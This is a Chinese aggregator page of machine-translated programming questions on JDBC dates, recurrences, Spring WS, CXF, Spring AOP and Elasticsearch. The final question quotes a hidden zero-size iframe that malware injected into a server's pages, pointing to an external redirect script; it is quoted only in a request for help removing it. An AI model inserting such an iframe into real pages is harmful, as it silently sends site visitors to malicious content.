小编Wae*_*ada的帖子

JDBC准备好的声明.setDate(....)不保存时间,只保存日期..我怎样才能节省时间?

我有以下查询:

INSERT INTO users (user_id, date_created) VALUES (?,?)
Run Code Online (Sandbox Code Playgroud)

我有以下准备好的声明

PreparedStatement insertUser = dbConnection.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS);

insertUser.setInt(1, 7);
java.util.Date now = new java.util.Date(System.currentTimeMillis());
insertUser.setDate(2, new java.sql.Date((new Date(System.currentTimeMillis())).getTime()));
insertUser.executeUpdate();
Run Code Online (Sandbox Code Playgroud)

如果我检查数据库,我发现它只插入今天的日期而不是时间,所以它将是: 2011-07-29 00:00:00

我还应该把setDate()时间花在什么上呢?

java jdbc prepared-statement

21
推荐指数
2
解决办法
4万
查看次数

n log n是O(n)?

我试图解决这种情况

T(n)= 3 T(n/2)+ n lg n ..

我已经得出它属于主要定理案例2的解决方案,因为n lg n是O(n ^ 2)

但在参考解决方案手册后,我注意到他们有这个解决方案

在此输入图像描述

解决方案说,对于0到0.58之间的e,n lg n = O(n ^(lg 3 - e))

所以这意味着n lg n是O(n)..这是对的吗?我错过了什么吗?

不是nlgn O(n ^ 2)?

algorithm recurrence

21
推荐指数
3
解决办法
6万
查看次数

Spring WS DefaultWsdl11Definition错误

我正在使用Spring WS并声明一个DefaultWsdl11Definition bean来动态生成WSDL文件.

但是,当我启动webserver(tomcat)时,我得到一个bean实例错误,原因是:

    Caused by: org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [org.springframework.ws.wsdl.wsdl11.DefaultWsdl11Definition]: Constructor threw exception; nested exception is java.lang.NoClassDefFoundError: javax/wsdl/extensions/ExtensibilityElement
    at org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:141)
    at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:74)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:958)
    ... 45 more
Caused by: java.lang.NoClassDefFoundError: javax/wsdl/extensions/ExtensibilityElement
    at org.springframework.ws.wsdl.wsdl11.DefaultWsdl11Definition.<init>(DefaultWsdl11Definition.java:56)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)
    at java.lang.reflect.Constructor.newInstance(Constructor.java:513)
    at org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:126)
    ... 47 more
Caused by: java.lang.ClassNotFoundException: javax.wsdl.extensions.ExtensibilityElement
    at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1671)
    at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1516)
    ... 53 more
Run Code Online (Sandbox Code Playgroud)

SpringWS-Servlet.xml中的Bean

<bean id="beanWS" class="org.springframework.ws.wsdl.wsdl11.DefaultWsdl11Definition">
        <property name="schema">
            <bean class="org.springframework.xml.xsd.SimpleXsdSchema">
                <property name="xsd" value="/WEB-INF/somexsd.xsd"/>
            </bean>
        </property>
        <property name="portTypeName" value="beanWS"/>
        <property name="locationUri"
                  value="http://localhost:8080/springws"/> …
Run Code Online (Sandbox Code Playgroud)

java spring web-services spring-ws

7
推荐指数
2
解决办法
2万
查看次数

O(n)查找2个数组是否有2个元素加起来的算法

我正在攻读考试并且遇到了这个看起来有点棘手的问题.

令A [1 ... n]和B [1 ... n]为2个整数数组,使得A或B的每个元素在0到m的范围内,其中m = O(n).(我假设这意味着m <n?)

我们需要设计一个O(n)算法,该算法找到两个元素A [i]和B [j],使得A [i] + B [j] =给定数k.如果它们不存在,我们会抛出错误消息.

现在排序它们是不可能的,因为最好的排序算法是O(n lg n).

也许使用哈希表..或者只是创建一个长度为m的较小数组X,使得每个索引计算A中数字的出现次数.然后我们通过B ...计算diff = k - B [j] ..并且检查X [diff] ..如果它大于零,那么是,它存在,那么我们可以再次通过A找到它的索引..

你们有什么感想

algorithm

6
推荐指数
1
解决办法
879
查看次数

是否可以使用maven中的apache cxf生成webservices客户端代码到特殊包?

我正在尝试生成webservices客户端,一旦我在运行中构建我的项目..它目前这样做,但把它放在基于WS的命名空间命名的包中..所以我们假设名称空间是google.com,生成文件将在com.google中..

<plugin>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-codegen-plugin</artifactId>
            <version>2.2.10</version>
            <executions>
                <execution>
                    <id>generate-sources</id>
                    <phase>generate-sources</phase>
                    <configuration>
                        <sourceRoot>${basedir}/src/main/java/</sourceRoot>
                        <wsdlOptions>
                            <wsdlOption>
                                <wsdl>http://localhost:8080/ProjectName/ProjectWS?wsdl</wsdl>
                            </wsdlOption>
                        </wsdlOptions>
                    </configuration>
                    <goals>
                        <goal>wsdl2java</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
Run Code Online (Sandbox Code Playgroud)

我想生成不同包的文件..让我们称之为comWS.gooleClient

有可能吗?

谢谢

java maven-2 cxf wsdl2java jax-ws

5
推荐指数
2
解决办法
4227
查看次数

除了一个子包之外,我怎么能在整个包装上使用aop

假设我在spring中的当前包结构项目为:com.stackoverflow | - service | - entities | - controllers | - package1 | - package2 | -util

如何在com.stackoverflow下的所有包中应用一个方面,除了包util之外?

将它应用于所有内容,执行表达式将是"com.stackoverflow .. (.())"

在这种情况下,执行表达式应该是什么?我想从执行表达式中删除util子包?

java aop spring spring-aop

4
推荐指数
1
解决办法
846
查看次数

在弹性搜索中按日期范围计数和分组

有没有办法获得行数,并按小时,天或月分组.

例如,假设我有消息

_source{
"timestamp":"2013-10-01T12:30:25.421Z",
"amount":200
}
_source{
"timestamp":"2013-10-01T12:35:25.421Z",
"amount":300
}
_source{
"timestamp":"2013-10-02T13:53:25.421Z",
"amount":100
}
_source{
"timestamp":"2013-10-03T15:53:25.421Z",
"amount":400
}
Run Code Online (Sandbox Code Playgroud)

是否有办法单独使用{date,sum}的行(不一定是这种格式,只是想知道我是否有任何办法可以实现这一点)

{
{"2013-10-01T12:00:00.000Z", 500},
{"2013-10-02T13:00:00.000Z", 100},
{"2013-10-03T15:00:00.000Z", 400}
}
Run Code Online (Sandbox Code Playgroud)

谢谢

elasticsearch

4
推荐指数
1
解决办法
3109
查看次数

我需要从多个文件中删除一行

恶意软件攻击了我的服务器并添加了以下行

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
Run Code Online (Sandbox Code Playgroud)

我的许多页面

我如何用 grep 删除它,或者是否有任何其他方法可以将它从受影响的所有文件中删除

编辑:我看到有关使用 sed 的评论,但我需要一个递归解决方案(如果有的话)

谢谢

linux grep replace

3
推荐指数
1
解决办法
4062
查看次数